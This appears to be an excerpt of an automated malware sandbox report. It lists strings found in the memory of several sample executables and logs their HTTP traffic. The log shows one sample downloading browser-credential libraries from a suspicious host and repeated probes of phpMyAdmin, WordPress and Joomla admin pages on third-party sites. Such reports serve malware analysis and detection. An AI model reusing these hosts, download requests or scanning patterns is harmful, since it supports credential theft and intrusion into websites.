Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003818000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003818000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003818000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.000000000352D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003818000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003818000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 6719.exe, 00000010.00000002.2205719718.00000000035B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 6719.exe, 00000010.00000002.2205719718.000000000360B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003818000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseD
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
Source: 90FB.exe, 00000014.00000003.1875398445.000000007ED73000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.0000000002241000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.foreca.com
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 0000000B.00000000.1354982991.000000000913F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: 6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008DA6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 0000000B.00000000.1353206964.0000000007276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?t
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: explorer.exe, 0000000B.00000000.1357268809.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1c9Jin.img
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: explorer.exe, 0000000B.00000000.1357268809.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 0000000B.00000000.1357268809.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: 6071.exe, 00000016.00000003.2408906027.0000000003A50000.00000004.00000020.00020000.00000000.sdmp, 6071.exe, 00000016.00000003.2402556744.0000000004039000.00000004.00000020.00020000.00000000.sdmp, 6071.exe, 00000016.00000003.2399483383.0000000003C0E000.00000004.00000020.00020000.00000000.sdmp, 6071.exe, 00000016.00000003.2408868300.000000000302B000.00000004.00000020.00020000.00000000.sdmp, 6071.exe, 00000016.00000003.2975765945.0000000003061000.00000004.00000020.00020000.00000000.sdmp, 6071.exe, 00000016.00000003.2410314918.0000000003092000.00000004.00000020.00020000.00000000.sdmp, 6071.exe, 00000016.00000003.3039903812.0000000003061000.00000004.00000020.00020000.00000000.sdmp, 6071.exe, 00000016.00000003.2408752844.000000000307B000.00000004.00000020.00020000.00000000.sdmp, 6071.exe, 00000016.00000003.2409352414.0000000003082000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sabotage.net
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000B.00000000.1354982991.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 0000000B.00000000.1357268809.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: 90FB.exe, 00000014.00000003.1875398445.000000007ED73000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.0000000002241000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: 90FB.exe, 00000014.00000003.2038046780.0000000002241000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 0000000B.00000000.1353206964.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.pollensense.com/

Source: unknown

DNS traffic detected: queries for: onualituyrs.org

Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /atoz/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: atozrental.cc
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/sqlite3.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/freebl3.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/mozglue.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/msvcp140.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/nss3.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/softokn3.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /985f606317f3e8dd/vcruntime140.dll HTTP/1.1Host: dskflherlkhopihsf.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipCookie: vsid=935vr449082275071652461User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://furnscales.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipCookie: vsid=931vr44908227507616068User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://furnscales.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://giannicastellani.it/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://giannicastellani.it/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipCookie: vsid=933vr449082278481667873User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://airanatoliava.org/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipCookie: vsid=929vr449082278674014005User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://furnscales.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
